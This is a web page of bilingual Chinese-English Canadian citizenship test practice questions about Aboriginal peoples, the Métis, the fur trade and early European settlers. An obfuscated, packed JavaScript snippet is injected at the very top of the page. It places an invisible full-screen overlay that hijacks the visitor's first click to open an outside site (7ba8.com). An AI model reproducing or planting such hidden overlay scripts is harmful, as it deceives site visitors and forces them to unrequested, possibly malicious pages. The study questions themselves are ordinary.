<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>这套试题中英文对照，其中有关政党、MPP、市长及其相关内容全部是2007年最新的（是以安大略省为主的），有些还提供相关网站，不用你再去查了。还有电子试题，可以下载下来，自己在电脑上练习，但有关自己所在省政党的问题可能不是最新的，需要自己再确认一下。
1、Who are the Aboriginal peoples in Canada 谁是加拿大的土著?
Aboriginal peoples were the first people to live in Canada. 土著是最早期居住在加拿大的人。
2、What are the three main groups of Aboriginal peoples 土著主要有那三类?
First Nations, Inuit, Metis. (The group we once called “Indians” are now known as “First Nations”)。
第一民族，烟劳人，美地人（以往称为“印第安人” 的土著，现改称为“第一民族”）。
3、In which parts of Canada did the Aboriginal peoples first live 土著最早期在加拿大何处定居?
The Aboriginal people lived in every region of Canada. 他们散居于加拿大各处。
4、What did the Aboriginal peoples living in your region depend on for survival ？
住在你那区的土著以往靠什么为生?
The Aboriginal people in Central & Eastern region (Ontario and Quebec) depended on hunting
and growing vegetable crops for survival. 中部及东部（安省和魁北克省）靠打猎和耕种。
5、From whom are the Metis descended 美地人源出于那里?
Many of the early French fur traders and some English traders married First Nations women.
Their children and descendants are the Metis people.
很多早期的法国皮革商及有些英国商人与第一民族的妇人结婚，他们的孩子及后裔便是美地人。
6、In what industry did the Metis first work with European settlers ?
美地人与从欧洲移民最初一起从事那类行业?
Fur trade. 皮革贸易。
7、Which group of Aboriginal peoples make up more than half of the population in the
Northwest Territories 那一类土著人口超过西北特区一半?
Inuit. 烟劳人。
8、 Why are the Aboriginal peoples of Canada working to be self-governed 为何加拿大的土著要自治?
They are working to keep their unique cultures and languages alive.
They want to regain control over decisions that affect their lives.
他们想继续保存独有的文化及语言，及对一切影响他们生活的事情上有自主权力。
9、 From where did the first European settlers in Canada come ?
最初移居加拿大的欧洲人来自那里?
France & England.法国及英国。
10、 Why did early explorers first come to Atlantic Canada ?
为何早期的探险家先来到“大西洋加拿大”?
They first came to Atlantic Canada to fish and trade with Aboriginal peoples.
他们最先来到“大西洋加拿大”捕鱼及与土著通商. |
收藏